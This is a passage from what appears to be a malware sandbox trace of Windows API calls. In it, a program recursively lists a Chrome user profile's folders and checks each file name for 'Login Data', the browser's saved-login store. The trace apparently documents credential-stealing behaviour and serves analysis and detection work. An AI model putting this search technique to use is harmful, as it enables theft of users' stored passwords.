State\\*.*" [0054.815] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.816] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.816] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.816] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.816] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.816] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.816] StrStrIA (lpFirst="000003.log", lpSrch="Login Data") returned 0x0 [0054.816] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.816] StrStrIA (lpFirst="CURRENT", lpSrch="Login Data") returned 0x0 [0054.816] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.816] StrStrIA (lpFirst="LOCK", lpSrch="Login Data") returned 0x0 [0054.816] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.816] StrStrIA (lpFirst="LOG", lpSrch="Login Data") returned 0x0 [0054.816] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.816] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Login Data") returned 0x0 [0054.816] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0 [0054.816] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0054.817] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.817] lstrcmpiA (lpString1=".", lpString2="Extensions") returned -1 [0054.817] lstrcmpiA (lpString1="..", lpString2="Extensions") returned -1 [0054.817] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.817] lstrlenA (lpString="\\") returned 1 [0054.817] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.817] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.817] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.817] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.817] lstrlenA (lpString="Extensions") returned 10 [0054.817] LocalAlloc (uFlags=0x40, uBytes=0xd1) returned 0x76a2e8 [0054.817] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.817] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0054.817] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0054.817] lstrlenA (lpString="\\*.*") returned 4 [0054.817] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x74ffa8 [0054.817] lstrcpyA (in: lpString1=0x74ffa8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0054.817] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*" [0054.817] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.817] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.817] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.817] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.817] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.817] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.817] lstrcmpiA (lpString1=".", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0054.817] lstrcmpiA (lpString1="..", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0054.817] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0054.817] lstrlenA (lpString="\\") returned 1 [0054.817] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x76c840 [0054.817] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0054.817] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0054.817] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0054.817] lstrlenA (lpString="aapocclcgogkmnckokdopfmhonfmgoek") returned 32 [0054.817] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x761ea0 [0054.817] lstrcpyA (in: lpString1=0x761ea0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0054.817] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0054.817] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0054.817] lstrlenA (lpString="\\*.*") returned 4 [0054.817] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x76c840 [0054.817] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0054.817] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*" [0054.817] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 0x72db50 [0054.817] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.817] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 1 [0054.817] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.817] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.818] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 1 [0054.818] lstrcmpiA (lpString1=".", lpString2="0.9_0") returned -1 [0054.818] lstrcmpiA (lpString1="..", lpString2="0.9_0") returned -1 [0054.818] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0054.818] lstrlenA (lpString="\\") returned 1 [0054.818] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x76a4b0 [0054.818] lstrcpyA (in: lpString1=0x76a4b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0054.818] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0054.818] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned 114 [0054.818] lstrlenA (lpString="0.9_0") returned 5 [0054.818] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x76a5b0 [0054.818] lstrcpyA (in: lpString1=0x76a5b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0054.818] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0054.818] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0054.818] lstrlenA (lpString="\\*.*") returned 4 [0054.818] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x75c598 [0054.818] lstrcpyA (in: lpString1=0x75c598, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0054.818] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*" [0054.818] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.818] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.818] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.818] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.818] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.818] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.818] StrStrIA (lpFirst="icon_128.png", lpSrch="Login Data") returned 0x0 [0054.818] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.818] StrStrIA (lpFirst="icon_16.png", lpSrch="Login Data") returned 0x0 [0054.818] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.818] StrStrIA (lpFirst="main.html", lpSrch="Login Data") returned 0x0 [0054.818] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.818] StrStrIA (lpFirst="main.js", lpSrch="Login Data") returned 0x0 [0054.818] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.818] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0054.818] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.818] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0054.818] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0054.818] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0054.818] lstrlenA (lpString="\\") returned 1 [0054.818] LocalAlloc (uFlags=0x40, uBytes=0xf9) returned 0x75c6a0 [0054.818] lstrcpyA (in: lpString1=0x75c6a0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0054.818] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0054.818] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned 120 [0054.818] lstrlenA (lpString="_locales") returned 8 [0054.818] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x75c7a8 [0054.818] lstrcpyA (in: lpString1=0x75c7a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\" [0054.818] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.818] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.818] lstrlenA (lpString="\\*.*") returned 4 [0054.818] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x74cdf0 [0054.818] lstrcpyA (in: lpString1=0x74cdf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.818] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*" [0054.819] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.819] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.819] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.819] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.819] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.819] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.819] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0054.819] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0054.819] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.819] lstrlenA (lpString="\\") returned 1 [0054.819] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.819] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.819] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.819] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.819] lstrlenA (lpString="ar") returned 2 [0054.819] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.819] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.819] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0054.819] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned 131 [0054.819] lstrlenA (lpString="\\*.*") returned 4 [0054.819] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.819] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" [0054.819] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*" [0054.819] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.819] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.819] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.820] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.820] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.820] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.820] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.820] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.820] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.820] FindNextFileA (in: 